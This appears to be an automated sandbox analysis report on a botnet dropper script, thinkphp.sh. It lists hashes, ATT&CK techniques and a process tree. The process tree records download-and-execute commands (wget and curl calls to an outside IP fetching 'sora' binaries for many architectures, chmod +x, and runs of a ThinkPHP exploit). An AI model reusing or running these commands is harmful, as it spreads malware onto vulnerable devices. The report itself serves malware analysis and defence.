5dd110ef0c4db61f39219af5ee3da2aaa3b6f4affc0038f6f35cf4acc36b5ed4

Analysis

max time kernel
39s
max time network
41s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/11/2024, 18:43

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General

Target
thinkphp.sh
Size 2KB
Sample241110-xcwydsshja
SHA256 5dd110ef0c4db61f39219af5ee3da2aaa3b6f4affc0038f6f35cf4acc36b5ed4
MD5 e8ebaded7cc56bd9af25f4865313339a
SHA1 4d1af85cbae92660e035398d758a40f8ebaa4d1c
SHA512 cf2a58d5083c84c74fe59e032756111b873046ff6c9403bf16b8c0acbe66c777e11a72f35a596e413eb322619bca2d22c2a5bfd6ebfab07b76a6a4d3ff6b4da4
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
840	chmod
851	chmod
891	chmod
898	chmod
805	chmod
821	chmod
764	chmod
775	chmod
757	chmod
750	chmod
790	chmod
905	chmod
731	chmod
743	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	732	robben
/tmp/robben	744	robben
/tmp/robben	751	robben
/tmp/robben	758	robben
/tmp/robben	765	robben
/tmp/robben	776	robben
/tmp/robben	791	robben
/tmp/robben	806	robben
/tmp/robben	823	robben
/tmp/robben	841	robben
/tmp/robben	852	robben
/tmp/robben	892	robben
/tmp/robben	899	robben
/tmp/robben	906	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
738	curl
741	cat
735	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	thinkphp.sh

/tmp/thinkphp.sh
/tmp/thinkphp.sh
1⤵
- Writes file to tmp directory
PID:703
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:718
- /bin/cat
  cat sora.x86
  2⤵
  PID:729
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:735
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:738
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:747
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:749
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:754
- /bin/cat
  cat sora.i468
  2⤵
  PID:756
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:758
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:761
- /bin/cat
  cat sora.i686
  2⤵
  PID:763
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:768
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:774
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:776
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:783
- /bin/cat
  cat sora.arm4
  2⤵
  PID:788
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:791
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:797
- /bin/cat
  cat sora.arm5
  2⤵
  PID:803
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:806
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:811
- /bin/cat
  cat sora.arm6
  2⤵
  PID:819
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:823
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:829
- /bin/cat
  cat sora.arm7
  2⤵
  PID:838
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:847
- /bin/cat
  cat sora.ppc
  2⤵
  PID:850
- /bin/chmod
  chmod +x robben systemd-private-0a13e425624d4323863062a7cbf6fead-systemd-timedated.service-sgeYo3 thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:852
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:855
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:890
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:892
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:895
- /bin/cat
  cat sora.m68k
  2⤵
  PID:897
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:899
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:902
- /bin/cat
  cat sora.sh4
  2⤵
  PID:904
- /bin/chmod
  chmod +x robben thinkphp.sh
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/robben
  ./robben thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:906

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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